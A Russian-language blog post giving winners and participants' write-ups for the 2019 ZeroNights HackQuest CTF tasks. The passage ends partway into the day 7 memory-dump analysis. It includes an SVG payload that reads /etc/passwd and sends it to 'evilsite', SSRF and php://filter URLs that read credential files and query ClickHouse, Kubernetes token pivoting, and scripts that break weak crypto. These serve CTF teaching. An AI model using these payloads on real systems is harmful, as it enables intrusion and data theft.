Совсем недавно завершился ежегодный HackQuest, приуроченный к конференции ZeroNights. Как и в прошлые годы, участникам предстояло решить 7 различных заданий — по одному на сутки квеста. Задания, как всегда, помогли подготовить наши коммьюнити партнеры. Узнать, как же решались задания, и кто стал победителями хакквеста в этот раз, можно под катом.


image

Day 1. TOP SECRET


Победители
1 место 2 место
vladvis gotdaswag

Первое задание этого года подготовила команда отдела аудита Digital Security. Чтобы решить его, участникам нужно было пройти три этапа: получить доступ к содержимому внутреннего чата игрового портала, проэксплуатировать уязвимость в Discord-боте и использовать некорректную настройку прав в Kubernetes-кластере.


Решение задания первого дня (vladvis)

1-ый шаг: graphql


  • Изначально мы попадаем на веб приложение с js client-side игрой и рейтингом.
  • Кроме статики к бэкэнду делается только 1 запрос:
  • Получить список всех типов и их полей можно следующим запросом:
    {
    __schema {
      types
      {
        name
        fields
        {
          name
        }
      }
    }
    }
  • Видим поле comment, запрашиваем его в изначальном запросе и получаем ссылку на следующий этап.

2-ой шаг: Discord bot


  • На сервере нас встречает бот и создает нам отдельный канал
  • Сразу видим намек на SSRF в gitea, но до этого я так и не дошел =(
  • Пробуем прочитать локальный файл:
    <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1"
     xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <script type="text/javascript">
    for (var i=0; trefs[i]; i++) {
      var xhr = new XMLHttpRequest();
      xhr.open("GET","/etc/passwd",false);
      xhr.send("");
      var xhr2 = new XMLHttpRequest();
      xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false);
      xhr2.send("");
    }
    </script>
    </svg>
  • Получаем /etc/passwd и видим 2 пользователей: worker, от имени которого рендерится svg и gitea
    worker:x:1000:1000::/home/worker:/bin/sh
    gitea:x:1001:1001::/home/gitea:/bin/sh
  • Этот шаг я прошел через unintended путь: в .bash_history у worker лежали пути к ssh-ключу и адресу сервера на следующий этап
    cd
    nano .ssh/connect_info 
    echo > .bash_history 
    exit
    cd 
    cd .ssh/
    chmod 755 id_rsa 
    ls -al
    cat id_rsa 
    exit

    3-ий шаг: kubernetes

  • На этот этап я попал, похоже, первым. .bash_history и ps были пустыми и из этого я сделал вывод, что для каждого ip создается изолированное окружение
  • В mount был найден токен для kubernetes
  • Поначалу было непонятно, куда девать токен, и я начал сканить сетку… и в какой-то момент начал ходить по соседям по облаку
  • После этого был выдан хинт, в каких подсетях сканить, и почти сразу был найден rest api kubernetes-а
  • К этому моменту я понял, что я не один на сервере, а пилить что-то, например, маскирующее cmdline не было желания, поэтому я решил сделать это легчебольнее и пробросить себе socks прокси через ssh
  • При помощи kubectl get pods был получен список контейнеров, и документация kubernetes подсказала, что можно использовать exec с таким же синтаксисом, что и у docker-а
  • Дальше были 1.5 часа страданий с socks прокси, через которую не поднимался websocket для exec. В итоге я пошел напрямую в kubectl через ssh
  • На втором контейнере новый токен и у него уже был доступ к кластеру в соседнем namespace zn2 (изначально мы находимся в namespace zn1), из которого был виден redis
  • Вспоминаем доклад @paulaxe с прошлого Zeronights и получаем RCE, например, с помощью этого PoC-а
  • Получив очередной токен, можно вытащить флаг из kubernetes secrets

Day 2. MICOSOFT LUNIX


Победители
1 место 2 место 3 место
torn Sin__ AV1ct0r
Также решили: demidov_al, gotdaswag, medidrdrider, groke_is_love_groke_is_life

Задание второго дня подготовили члены сообщества r0 Crew. Для решения необходимо сгенерировать ключ активации для образа Linux с модифицированным ядром.


Решение задания второго дня (torn)

Дано: файл jD74nd8_task2.iso, загрузочный ISO образ. По файлам внутри образа можно предположить, что это Linux: присутствует ядро boot/kernel.xz, начальный рамдиск boot/rootfs.xz и загрузчик boot/syslinux/.


Пробуем распаковать ядро и рамдиск. Рамдиск здесь — обычный cpio архив, сжатый xz. Ядро распаковываем, используя скрипт https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux. Также можно обратить внимание на информацию о ядре:


> file kernel.xz                   
kernel.xz: Linux kernel x86 boot executable bzImage, version 5.0.11 (billy@micosoft.com) #1 SMP Sat Aug 25 13:37:00 CEST 2019, RO-rootFS, swap_dev 0x2, Normal VGA

Попутно находим в iso образе основную задачу minimal/rootfs/bin/activator: все сводится к записи введенных данных электронной почты и ключа активации в устройство /dev/activate в формате $email|$key. В случае удачной проверки ключа, чтение из /dev/activate будет выдавать строку ACTIVATED, и активатор в данном случае запустит игру 2048.


Настало время глянуть на задачу в динамике. Для этого запускаем эмулятор в KVM:


> qemu-system-x86_64 -enable-kvm -drive format=raw,media=cdrom,readonly,file=jD74nd8_task2.iso

Linux стартует и сразу запускает /bin/activator из overlay. Это прописано в /etc/inittab. Чтоб долго не копаться в бинаре ядра, хотелось получить шелл и посмотреть, как минимум, на /proc и /sys. Самым простым для меня способом оказалось просто подпачить iso файл в месте, где расположен сам скрипт активатора. Вместо sleep 1 поставил /bin/sh, т.е. получал шелл после каждой попытки ввода серийника.


Итак шелл есть: смотрим, что /proc/kallsyms отсутствует, т.е. отсутствуют символы ядра. С ними, конечно же, было б гораздо быстрее, но ничего страшного. Ищем информацию об устройстве /dev/activator:


/ # ls -la /dev/activate
crw-------    1 0        0         252,   0 Oct 15 08:57 /dev/activate
/ # cat /proc/devices
Character devices:
...
252 activate
...

Block devices:
...

Из информации в /proc/devices видно, что это символьное (char) устройство, у которого major версия 252 и minor — 0.


Настало время найти в бинаре ядра функцию регистрации этого устройства, чтоб найти обработчик его операции write. Для этого нужно найти перекрестные ссылки на строку activate. Но такой строки в ядре нет, вероятно её как-то прячут.


В следующей попытке пробуем найти функции, отвечающие за регистрацию символьных устройств: cdev_add и register_chrdev. Это можно сделать по перекрестным ссылкам на /dev/console или на любое другое символьное устройство и взяв исходный код ядра (я брал версию 5.0.11, но не уверен, что версия указана верно). Посмотрев список устройств, которые регистрируются, не находим там устройство с major версией 252. Вероятно регистрация происходит не этими двумя функциями.


Попробуем поискать еще какие-то зацепки в динамике:


/ # ls -la /sys/dev/char/252:0
lrwxrwxrwx    1 0        0                0 Oct 15 09:00 /sys/dev/char/252:0 -> ../../devices/virtual/EEy????I/activate

Вот и зацепка — класс устройства EEy????I. Пробуем найти данную строку в бинаре и она там есть!



Хоть и перекрестных ссылок на неё не найдено, но рядом видны данные, похожие на строки. Если посмотреть код, который их использует, то видно, что это те искомые обработчики чтения и записи устройства activate, которые зашифрованы простым XOR.


Функция обработки операции чтения:



Функция обработки операции записи, она же проверка лицензии:



Беглый осмотр кода проверки активации показал, что легче всего просто поставить точку останова на адресе 0xFFFFFFFF811F094B и там забрать код активации, не особо вникая, что же там происходит. Для этого запускаем qemu с флагом -s. В этом случае qemu запускает gdb stub, который позволяет использовать любой gdb клиент. Проще и быстрее всего это делать в IDA Pro, если есть лицензия. Но никто не запрещает все сделать в консольном gdb.


Проделываем все, как описано в официальном туториале. Теперь нужно найти функцию обработки внутри уже запущенного ядра.




Так как ядро собрано с поддержкой KASLR, то адреса запущенного ядра сдвинуты на рандомное смещение, которое генерируется каждый запуск ядра. Вычисляем это смещение (берем адрес уникальной последовательности байт в коде отлаживаемого ядра и отнимаем от него адрес этой последовательности в бинаре) и, добавляя к адресу функции активации, находим её в памяти. Всё, теперь дело за малым. Поставить точку останова и забрать код.





Решение этого задания уже публиковалось на хабре одним из участников. Ознакомится с ним можно здесь.


Day 3. HOUSE OF BECHED


Победители
1 место
blackfan

Задание подготовил beched (DeteAct). Участников встречала непримечательная страница оплаты. Для решения было необходимо получить доступ к БД Clickhouse, воспользовавшись особенностью php-функции file_get_contents.


Решение задания третьего дня (blackfan)

Задание представляет собой страницу оплаты, где единственным интересным параметром был callback_url.


https://i.imgur.com/iX65TI3.png


Указываем свой сайт и ловим запрос:


http://82.202.226.176/?callback_url=http://attacker.tld/&pan=&amount=&payment_id=

POST / HTTP/1.0
Host: attacker.tld
Connection: close
Content-Length: 21
Content-Type: application/json

amount=0&payment_id=0

HTTP-ответ отображается, только если сайт вернул alphanumeric строку. Примеры ответов:


{"result":"Success.","msg":"Response: testresponse"}

{"result":"Invalid status code.","msg":"Non-alphanumeric response."}

Пробуем в качестве callback_url data:,test и понимаем, что, скорее всего, это PHP.


http://82.202.226.176/?callback_url=data:,test&pan=&amount=&payment_id=

Используем php://filter для чтения локальных файлов и кодируем ответ с помощью convert.base64-encode, чтобы ответ соответствовал alphanumeric. Из-за символов +, / и = иногда приходится комбинировать несколько вызовов base64 для вывода ответа.


http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./index.php
http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./includes/db.php

<?php
error_reporting(0);

/*
* DB configuration
*/

$config = [
    'host' => 'localhost',
    'port' 

Вывод ответа ограничен 200-ми байтами, но из фрагментов узнаем о наличии базы данных на localhost. Перебираем порты через callback_url и находим в блоге DeteAct свежую статью о инъекциях в ClickHouse, что соотносится со странным названием таска "HOUSE OF BECHED".


https://i.imgur.com/OBn22wi.png


ClickHouse имеет HTTP-интерфейс, позволяющий выполнять произвольные запросы, который очень удобно использовать в SSRF.


Читаем документацию, пробуем получить учетную запись из конфига.


http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=

<?xml version="1.0"?>
<yandex>
    <!-- Profiles of settings. -->
    <profiles>
        <!-- Default settibm

Опять мешает ограничение вывода, а, судя по стандартному файлу, нужное поле находится крайне далеко.


https://i.imgur.com/5Un6gfj.png


Вырезаем лишнее с помощью фильтра string.strip_tags.


http://82.202.226.176/?callback_url=php://filter/string.strip_tags|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=

Но длины вывода все равно не хватает до получения пароля. Добавляем компрессионный фильтр zlib.deflate.


http://82.202.226.176/?callback_url=php://filter/string.strip_tags|zlib.deflate|convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=

И читаем локально в обратном порядке:


print(file_get_contents('php://filter/convert.base64-decode|convert.base64-decode|zlib.inflate/resource=data:,NCtYaTVWSUFBbVFTRnd1VFoyZ0FCN3hjK0JRU2tDNUt6RXZKejBXMms3QkxETkVsZUNueVNsSnFja1pxU2taK2FYRnFYbjVHYW1JQmZoZWo4a0RBeWtyZkFGME5QajBwcVdtSnBUa2xWRkNFNlJaTUVWSkZRU0JSd1JZNWxGRTFVY3NLYllVa0JiV2NFbXNGUTRYOElv'));

Получив пароль, мы можем отправлять запросы на ClickHouse следующим образом:


http://localhost:8123/?query=select%20'xxx'&user=default&password=bechedhousenoheap

http://default:bechedhousenoheap@localhost:8123/?query=select%20'xxx'

Но так как изначально у нас отправляется POST, то необходимо обойти это с помощью перенаправления. И финальный запрос получился таким (на этом этапе я очень сильно затупил, так как из-за большой вложенности обработки параметров я неправильно кодировал спецсимволы и никак не мог выполнить запрос)


http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520'xxx'%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id=

Ну а дальше достаточно просто получить данные из базы:


select name from system.tables
select name from system.columns where table='flag4zn'
select bechedflag from flag4zn

http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520bechedflag%252520from%252520flag4zn%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id=

Day 4. ASR-EHD


Победители
1 место
AV1ct0r

Задание четвертого дня подготовил отдел исследований Digital Security. Основной задачей таска было показать, как неправильный выбор источника случайных чисел может повлиять на криптоалгоритм. В таске был реализован самописный генератор случайных приватных ключей для DH, основанный на LFSR. При получении достаточного колличества последовательных TLS-хендшейков с помощью публичных значений DH можно было восстановить начальное состояние LFSR и расшифровать весь трафик.


Решение задания четвертого дня (AV1ct0r)

Day 4 / ASR-EHD – WriteUp by AV1ct0r


Peter is a little bit paranoid: he always uses encrypted connections. To be sure algorithms are secure Peter uses his own client. He even gave us a traffic dump which was made while using his custom client. Is Peter's connection really secure?


https://hackquest.zeronights.org/downloads/task4/8Jdl3f_client.tar
https://hackquest.zeronights.org/downloads/task4/d8f3ND_dump.tar


  1. Открываем файлик client в IDA Pro и видим, что он умеет скачивать часть файла flag.jpg с сервера https://ssltest.a1exdandy.me:443/. Какую часть файла качать (с какого по какой байт) берется из командной строки.


    signed __int64 __fastcall main(int argc, char **argv, char **a3)
    {
    size_t v4; // rsi
    __int64 v5; // ST48_8
    int v6; // [rsp+10h] [rbp-450h]
    int v7; // [rsp+14h] [rbp-44Ch]
    __int64 v8; // [rsp+20h] [rbp-440h]
    __int64 v9; // [rsp+28h] [rbp-438h]
    __int64 v10; // [rsp+30h] [rbp-430h]
    __int64 v11; // [rsp+38h] [rbp-428h]
    __int64 v12; // [rsp+40h] [rbp-420h]
    char ptr; // [rsp+50h] [rbp-410h]
    unsigned __int64 v14; // [rsp+458h] [rbp-8h]
    
    v14 = __readfsqword(0x28u);
    if ( argc != 3 )
    return 0xFFFFFFFFLL;
    v6 = atoi(argv[1]);
    v7 = atoi(argv[2]);
    if ( v6 < 0 || v7 < 0 || v7 <= v6 )
    return 0xFFFFFFFFLL;
    v8 = 0LL;
    v9 = 0LL;
    v10 = 0LL;
    OPENSSL_init_ssl(0LL, 0LL);
    OPENSSL_init_crypto(2048LL, 0LL);
    v11 = ENGINE_get_default_DH(2048LL, 0LL);
    if ( v11 )
    {
    if ( (unsigned int)ENGINE_init(v11) )
    {
      v12 = ENGINE_get_DH(v11);
      if ( v12 )
      {
        v8 = DH_meth_dup(v12);
        if ( v8 )
        {
          if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) )
          {
            if ( (unsigned int)ENGINE_set_DH(v11, v8) )
            {
              v5 = TLSv1_2_client_method(v11, v8);
              v10 = SSL_CTX_new(v5);
              if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") )
              {
                v9 = BIO_new_ssl_connect(v10);
                BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443");
                if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 )
                {
                  BIO_ctrl(v9, 101LL, 0LL, 0LL);
                  BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv);
                  BIO_printf(v9, "Host: ssltest.a1exdandy.me\n");
                  BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7);
                  v4 = (signed int)BIO_read(v9, &ptr, 1024LL);
                  fwrite(&ptr, v4, 1uLL, stdout);
                }
                else
                {
                  v4 = 1LL;
                  fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr);
                }
              }
              else
              {
                v4 = 1LL;
                fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr);
              }
            }
            else
            {
              v4 = 1LL;
              fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr);
            }
          }
          else
          {
            v4 = 1LL;
            fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr);
          }
        }
        else
        {
          v4 = 1LL;
          fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr);
        }
      }
      else
      {
        v4 = 1LL;
        fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr);
      }
    }
    else
    {
      v4 = 1LL;
      fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr);
    }
    }
    else
    {
    v4 = 1LL;
    fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr);
    }
    if ( v11 )
    {
    ENGINE_finish(v11, v4);
    ENGINE_free(v11);
    }
    if ( v8 )
    DH_meth_free(v8, v4);
    if ( v10 )
    SSL_CTX_free(v10, v4);
    if ( v9 )
    BIO_free_all(v9, v4);
    return 0LL;
    }

    Картинки с флагом на сервере не оказалось, зато в dump.pcap оказалась куча ssl-трафика, предположительно с кусками картинки. После быстрой проверки сервера на heartbleed (чтобы стырить приватный ключик для расшифровки трафика) было выяснено, что сервер не уязвим. Кроме того, в SSL сессиях согласно дампу трафика и клиенту, используется шифр DHE-RSA-AES128-SHA256, в котором RSA используется только для подписи, а обмен ключами происходит по схеме Диффи-Хеллмана (приватный RSA ключик сервера в таком режиме нам не поможет).


  2. Немного подирбастив сервер нашел файлик https://ssltest.a1exdandy.me/x, который является простеньким вредоносом, зашитый в него адрес админки — 0x82C780B2697A0002 (0x82C780B2:0x7a69 = 178.128.199.130:31337 ). При подключении к порту 31337, было выяснено, что сервер поддерживает 3 команды, некоторые из которых просят дополнительные аргументы


    nc 178.128.199.130 31337
    Yet another fucking heap task...
    Command: 1-3
    1 - Index: - Size:
    2 - Index:
    3 - Index: - Length:

    Но дальше ничего сделать не получилось с этим портом, и, скорее всего, это был отвлекающий таск.


  3. Посмотрев внимательно client, увидел, что в нем используется кастомизированный генератор секретов Диффи-Хеллмана:


    int __fastcall rnd_work(__int64 a1)
    {
    __int64 v1; // rsi
    unsigned int i; // [rsp+10h] [rbp-10h]
    
    rnd_read();
    BN_bin2bn(&RANDOM_512, 512LL, a1);
    BN_lshift1(a1, a1);
    v1 = (unsigned int)BITS_ind[0];               // BITS_ind        dd 4096, 4095, 4081, 4069, 0
    if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) )
    {
    for ( i = 0; i <= 4; ++i )
    {
      if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) )
      {
        v1 = (unsigned int)BITS_ind[i];
        BN_clear_bit(a1, v1);
      }
      else
      {
        v1 = (unsigned int)BITS_ind[i];
        BN_set_bit(a1, v1);
      }
    }
    }
    if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 )
    {
    printf("Err!", v1);
    exit(0);
    }
    BN_bn2binpad(a1, &RANDOM_512, 512LL);
    return rnd_write();
    }

    Изначально секрет (512 байт) читается из /dev/urandom и сохраняется в файл state. При каждом следующем запросе с секретом происходит вот такая магия:


    XOR = 2**4096 + 2**4095 + 2**4081 + 2**4069 + 1
    CMP = 2**4096
    state *= 2
    if state > CMP:
    state ^= XOR

    Секрет как длинное число сдвигается на 1 бит влево, и если старший бит был 1, то число ксорится с константой из 5 ненулевых бит (XOR).



Посмотрев pcap, увидел, что параметры Диффи-Хеллмана, прилетающие от сервера, постоянны:


dh_g = 2
dh_p = 23390802492779255177134184370397517812355114045331724403582725611989933627587394016284977408323433231376977414043562662015562429926336130577589190521858667065571589328848570938970559584045953695918419788870353537714753160723913752100704810651892577111770521339703456940346854154884020022465250463024557548779126285008325304289256359545621253722069230995474108959373841908210698053332124205226084810339078397099642164575459958848963136672415274751614370255032937981786588147095719801999313216854607209552815027819569749983631505548263472693034066210847223343807999514384075548912593749054743887793047383825112467532259

А при каждом установлении соединения клиент посылает свою публичную часть секрета Диффи-Хеллмана. Сравнивая публичные части секретов соседних сессий, можно восстановить начальный секрет клиента, а затем все последующие секреты для каждой сессии:
Если старший бит секрета равен 0, то на следующей сессии секрет станет просто в 2 раза больше, а публичная часть возведется в квадрат по модулю p. Таким образом удалось восстановить начальный секрет (то, что прочиталось из /dev/urandom) по модулю p:


212030266574081313400816495535550771039880390539286135828101869037345869420205997453325815053364595553160004790759435995827592517178474188665111332189420650868610567156950459495593726196692754969821860322110444674367830706684288723400924718718744572072716445007789955072532338996543460287499773137785071615174311774659549109541904654568673143709587184128220277471318155757799759470829597214195494764332668485009525031739326801550115807698375007112649770412032760122054527000645191827995252649714951346955180619834783531787411998600610075175494746953236628125613177997145650859163985984159468674854699901927080143977813208682753148280937687469933353788992176066206254339449062166596095349440088429291135673308334245804375230115095159172312975679432750163246936266603077314220813042048063033927345613565227184333091534551071824033535159483541175958867122974738255966511008607723675431569961127852005437047813822454112416864211120323016008267853722731311026233323235121922969702016337164336853826598082855592007126727352041124911221048498141841625765390204460725231581416991152769176243658310857769293168120450725070030636638954553866903537931113666283836250525318798622872347839391197939468295124060629961250708172499966110406527347

а из него несложно посчитать секреты для всех остальных сессий.


И вот тут появились проблемы:
A) Wireshark не умеет расшифровывать SSL, зная секреты Диффи-Хеллмана, и готовых решений не нашлось. Надо самим посчитать общий секрет Диффи-Хеллмана (он же pre-master key сессии), а по нему с помощью большого велосипеда (не думал, что в SSL есть велосипеды) найти master key сессии. Дальше можно сделать SSLKEYLOG файл, в который записать client random (есть в каждой ssl сессии) и master key, указать его в настройках WireShark для расшифровки SSL и теоретически профит.


Но возникло еще несколько проблем:
B) PHP считал слишком медленно (не используются функции bcadd, bcpowmod…), решил переписать на питоне.
C) Формулу расчета master key по pre-master key в человеческом виде найти не удалось, сорцы ssl понимаются очень тяжело, заставить openssl вывести результаты промежуточных расчетов тоже не смог. В итоге использовал такой код, описание и какие-то RFC:


В итоге спустя полдня смог накодить такое (по мне, не обошлось без велосипедов):


for i in xrange(0, 4264):
  dh_secret = pow(srv_pubkeys[i], state, dh_p)
  dh_secret = hex(dh_secret)[2:-1]
  if len(dh_secret) % 2 :
    dh_secret = "0"+dh_secret
  while dh_secret[0:2] == "00":
    dh_secret = dh_secret[2:]
  dh_secret = dh_secret.decode("hex")
  seed = "master secret"+(cl_random[i].strip() + srv_random[i].strip()).decode("hex")
  A = seed
  master_key = ""
  for j in xrange(0, 2):
    A = hmac.new(dh_secret, A, hashlib.sha256).digest()
    master_key += hmac.new(dh_secret, A+seed, hashlib.sha256).digest()
  master_key = master_key[0:48].encode("hex")
  print "CLIENT_RANDOM " + cl_random[i].strip() + " " + master_key
  state *= 2
  if state > CMP:
    state ^= XOR

D) Чтобы выдирать различные client random, … из сессий Wireshark использовался экспорт в csv и поиск в сыром трафике того, что в csv попало как “…”.


E) Для расшифровки 4264 сессиий WireShark решил скушать много гигов оперативы (8 ему не хватило), но ничего, можно все запустить на мощном компьютере, а не на слабом ноуте. Однако при экспорте http-объектов (расшифрованных кусков картинки) WireShark может сохранить только первые 1000 файлов, а дальше у него нумерация заканчивается. В итоге пришлось разбивать pcap на 5 частей по 1000 tcp-сессий в каждом. В итоге получилась такая красивая картинка после склейки всех кусочков:



Все файлы, использованные победителем для решения задания, можно найти здесь.


Day 5. PROTECTED SHELL


Победители
1 место 2 место 3 место
vos Bartimaeous CLO
Также решили: Maxim Pronin, 0x3c3e, tinkerlock, demidov_al, x@secator, groke_in_the_sky, d3fl4t3

Задание подготовлено RuCTFE. Участникам дан обфусцированный исполняемый файл с рядом антиотладочных приёмов. Исполняемый файл является подобием SSH-клиента, который связан с заранее известным сервером. Задача — понять алгоритм работы этого файла, чтобы получить исполнение команд на сервере. Авторское решение предполагало обход антиотладки и разбор обфускации.


Примечательно, что самый быстрый участник решил задание оригинальным, отличным от запланированного автором способом, а после нашел ещё один обходной путь решения. Посмотреть, как он это сделал, можно под спойлером ниже.


Варианты решения задания пятого дня (vos)


Day 6. UNLOCK


Победители
1 место 2 место 3 место
gotdaswag medidrdrider sysenter

Задание шестого дня подготовила команда VolgaCTF. Дан исполняемый файл, реализующий кастомный криптоалгоритм. Задача — расшифровать данный в условии файл, зашифрованный с помощью этого алгоритма, не имея известного ключа.


Решение задания шестого дня (gotdaswag)

INTRO


Дан архив с двумя файлами locker и secret.png.enc.


Первый файл представляет из себя ELF для Linux x86-64, который принимает на вход файл и ключ шифрования, а второй — зашифрованное PNG изображение.


# ./locker
Required option 'input' missing
Usage: ./locker [options]

Options:
    -i, --input in.png  Input file path
    -o, --output out.png.enc
                        Output file path
    -k, --key 0004081516234200
                        Encryption key in hex
    -h, --help          Print this help menu

LOCKER


Проанализировав файл в IDA, находим алгоритм шифрования в функции project::main.



Изучив его, понимаем, что это блочный шифр (ECB), с размером блока 32 бита, размером ключа 64 бита и количеством раундов 77.


Версия на Python

def encrypt(p, k, rounds=77):
  for i in range(0, rounds):
    n  = (p >> 4) & 1
    n |= (p >> 26) & 0xE0
    n |= (p >> 22) & 0x10
    n |= (p >> 13) & 8
    n |= (p >> 7) & 4
    n |= (p >> 4) & 2

    x  = p ^ k
    x ^= p >> 12
    x ^= p >> 20
    x &= 1

    y = 1 << n
    y &= 0xBB880F0FC30F0000
    y >>= n
    y &= 1

    if x == y:
      p &= 0xFFFFFFFE
    else:
      p |= 1

    k = ror(k, 1, 64)
    p = ror(p, 1, 32)

  return p

SECRET KEY


Мы знаем, что зашифрованный файл является изображением в формате PNG.
Cоответственно, нам известна пара открытого текста-шифротекста в виде заголовка файла (он стандартный для PNG).


Попробуем пойти простым путём и воспользуемся SMT-решателем (Z3) для поиска ключа шифрования.
Для этого немного модифицируем код и подадим на вход пары открытого текста-шифротекста.


task6_key.py

import sys
import struct
from z3 import *

# PNG file signature (8 bytes) + IHDR chunk header (8 bytes)
PLAIN_TEXT = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52'
BLOCK_SIZE = 4

def encrypt(p, k, rounds=77):
  for i in range(0, rounds):
    n  = LShR(p, 4) & 1
    n |= LShR(p, 26) & 0xE0
    n |= LShR(p, 22) & 0x10
    n |= LShR(p, 13) & 8
    n |= LShR(p, 7) & 4
    n |= LShR(p, 4) & 2

    x  = k ^ ZeroExt(32, p)
    x ^= LShR(ZeroExt(32, p), 12)
    x ^= LShR(ZeroExt(32, p), 20)
    x &= 1

    y = 1 << ZeroExt(32, n)
    y &= 0xBB880F0FC30F0000
    y = LShR(y, ZeroExt(32, n))
    y &= 1

    p = If(x == y, p & 0xFFFFFFFE, p | 1)

    p = RotateRight(p, 1)
    k = RotateRight(k, 1)

  return p

def qword_le_to_be(v):
  pv = struct.pack('<Q', v)
  uv = struct.unpack('>Q', pv)
  return uv[0]

if len(sys.argv) < 2:
  sys.exit('no input file specified')

with open(sys.argv[1], 'rb') as encrypted_file:
  k = BitVec('k', 64)
  key = k
  solver = Solver()

  for i in range(0, len(PLAIN_TEXT), BLOCK_SIZE):
    # prepare plain text and cipher text pairs
    pt = struct.unpack('<L', PLAIN_TEXT[i:i + BLOCK_SIZE])[0]
    ct = struct.unpack('<L', encrypted_file.read(BLOCK_SIZE))[0]
    p = BitVecVal(pt, 32)
    e = BitVecVal(ct, 32)
    solver.add(encrypt(p, k) == e)

  print('solving ...')

  if solver.check() == sat:
    encryption_key = solver.model()[key].as_long()
    print('key: %016X' % qword_le_to_be(encryption_key))

Решение:


> python task6_key.py "secret.png.enc"
solving ...
key: AE34C511A8238BCC

UNLOCKER


Теперь мы знаем ключ и нам осталось реализовать процедуру расшифрования.
Для этого нам нужно немного поменять порядок действий в функции шифрования и дописать код для обработки всего файла.


task6_unlocker.py

import sys
import time
import struct
import binascii

BLOCK_SIZE = 4

ror = lambda val, r_bits, max_bits: \
  ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
  (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

rol = lambda val, r_bits, max_bits: \
  (val << r_bits%max_bits) & (2**max_bits-1) | \
  ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

def decrypt(e, k, rounds=77):
  dk = ror(k, 13, 64)

  for i in range(0, rounds):
    dk = rol(dk, 1, 64)
    e  = rol(e, 1, 32)

    n  = (e >> 4) & 1
    n |= (e >> 26) & 0xE0
    n |= (e >> 22) & 0x10
    n |= (e >> 13) & 8
    n |= (e >> 7) & 4
    n |= (e >> 4) & 2

    x  = e ^ dk
    x ^= e >> 12
    x ^= e >> 20
    x &= 1

    y = 1 << n
    y &= 0xBB880F0FC30F0000
    y >>= n
    y &= 1

    if x == y:
      e &= 0xFFFFFFFE
    else:
      e |= 1

  return e

if len(sys.argv) < 2:
  sys.exit('no input file specified')
elif len(sys.argv) < 3:
  sys.exit('no output file specified')
elif len(sys.argv) < 4:
  sys.exit('no encryption key specified')

try:
  key = binascii.unhexlify(sys.argv[3])
  key = struct.unpack('<Q', key)[0]
except:
  sys.exit('non-hexadecimal encryption key')

print('unlocking ...')
start_time = time.time()

with open(sys.argv[1], 'rb') as ef:
  with open(sys.argv[2], 'wb') as df:
    while True:
      ct = ef.read(BLOCK_SIZE)
      if not ct:
        break
      ct = struct.unpack('<L', ct)[0]
      pt = decrypt(ct, key)
      pt = struct.pack('<L', pt)
      df.write(pt)

print('done, took %.3f seconds.' % (time.time() - start_time))

Запускаем скрипт, передав ему на вход зашифрованное изображение и найденный ключ.


> python task6_unlocker.py "secret.png.enc" "secret.png" "AE34C511A8238BCC"
unlocking ...
done, took 49.669 seconds.

secret.png


ZN{RA$T0GR@PHY_H3RTS}

Day 7. Beep Beep!


Победители
1 место
sysenter

Финальное задание хакквеста предоставлено SchoolCTF. Участникам предстояло разобрать дамп памяти, в котором находилась программа, шифрующая файлы. Осложнялось все тем, что программа была разделена на несколько частей, которые были иньектированы в другие процессы.


Решение задания седьмого дня (sysenter)

Something that looks like VirtualBox RAM dump is provided to us.


We can try volatility, but it seems that it unable to locate required structures to restore Virtual Memory layout.



No process memory for us today, so we will have to work with fragmented memory.


First of all let's precache strings from the dump.


strings > strings_ascii.txt
strings -e l > strings_wide.txt

Most interesting one is command execution log:


cd ..
.\injector.exe 192.168.1.65
.\run.exe .\storage
cd .\server\
.\run.exe block1
.\run.exe block0
cd Z:\zn_2019\
cd .\server\
cd ..
.\injector.exe 192.168.1.65
cd Z:\zn_2019\
.\injector.exe 192.168.1.65
cd ..
touch
echo
echo qwe 
echo qwe > flag.txt
.\injector.exe 192.168.1.65
echo qwe > flag.txt
.\injector.exe 192.168.1.65
echo qwe > flag.txt
.\injector.exe 192.168.1.65
echo qwe > flag.txt
cd Z:\zn_2019\
.\injector.exe 192.168.1.65
